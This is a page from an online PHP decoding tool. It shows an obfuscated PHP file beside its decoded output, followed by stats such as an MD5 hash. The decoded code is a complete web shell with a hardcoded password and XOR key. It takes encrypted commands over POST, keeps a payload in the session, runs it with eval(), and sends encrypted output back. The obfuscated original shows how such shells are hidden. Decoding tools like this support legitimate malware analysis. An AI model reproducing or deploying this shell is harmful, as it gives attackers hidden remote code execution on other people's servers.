Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto QxUPI; n36Xa: $pass = "\150\x75\151\x68\165\151"; goto k0ksx; QxUPI: @session..

Decoded Output download

<?php 
 goto QxUPI; n36Xa: $pass = "huihui"; goto k0ksx; QxUPI: @session_start(); goto ew1Nf; pZsgr: @error_reporting(0); goto bnfRv; qSldz: $key = "636d078634721a9e"; goto pjux6; ew1Nf: @set_time_limit(0); goto pZsgr; bnfRv: function encode($D, $K) { for ($i = 0; $i < strlen($D); $i++) { $c = $K[$i + 1 & 15]; $D[$i] = $D[$i] ^ $c; } return $D; } goto n36Xa; k0ksx: $payloadName = "payload"; goto qSldz; pjux6: if (isset($_POST[$pass])) { $data = encode(base64_decode($_POST[$pass]), $key); if (isset($_SESSION[$payloadName])) { $payload = encode($_SESSION[$payloadName], $key); if (strpos($payload, "getBasicsInfo") === false) { $payload = encode($payload, $key); } eval($payload); echo substr(md5($pass . $key), 0, 16); echo base64_encode(encode(@run($data), $key)); echo substr(md5($pass . $key), 16); } else { if (strpos($data, "getBasicsInfo") !== false) { $_SESSION[$payloadName] = encode($data, $key); } } } 
 ?>

Did this file decode correctly?

Original Code

<?php
 goto QxUPI; n36Xa: $pass = "\150\x75\151\x68\165\151"; goto k0ksx; QxUPI: @session_start(); goto ew1Nf; pZsgr: @error_reporting(0); goto bnfRv; qSldz: $key = "\66\63\x36\x64\x30\x37\x38\x36\x33\x34\x37\62\x31\x61\71\x65"; goto pjux6; ew1Nf: @set_time_limit(0); goto pZsgr; bnfRv: function encode($D, $K) { for ($i = 0; $i < strlen($D); $i++) { $c = $K[$i + 1 & 15]; $D[$i] = $D[$i] ^ $c; } return $D; } goto n36Xa; k0ksx: $payloadName = "\160\141\x79\x6c\157\141\144"; goto qSldz; pjux6: if (isset($_POST[$pass])) { $data = encode(base64_decode($_POST[$pass]), $key); if (isset($_SESSION[$payloadName])) { $payload = encode($_SESSION[$payloadName], $key); if (strpos($payload, "\x67\145\x74\102\x61\163\x69\143\163\x49\156\146\x6f") === false) { $payload = encode($payload, $key); } eval($payload); echo substr(md5($pass . $key), 0, 16); echo base64_encode(encode(@run($data), $key)); echo substr(md5($pass . $key), 16); } else { if (strpos($data, "\147\x65\164\x42\141\x73\x69\143\163\111\156\x66\x6f") !== false) { $_SESSION[$payloadName] = encode($data, $key); } } }

Function Calls

None

Variables

None

Stats

MD5 ec7b534a72da5795c4540292d8b1c104
Eval Count 0
Decode Time 40 ms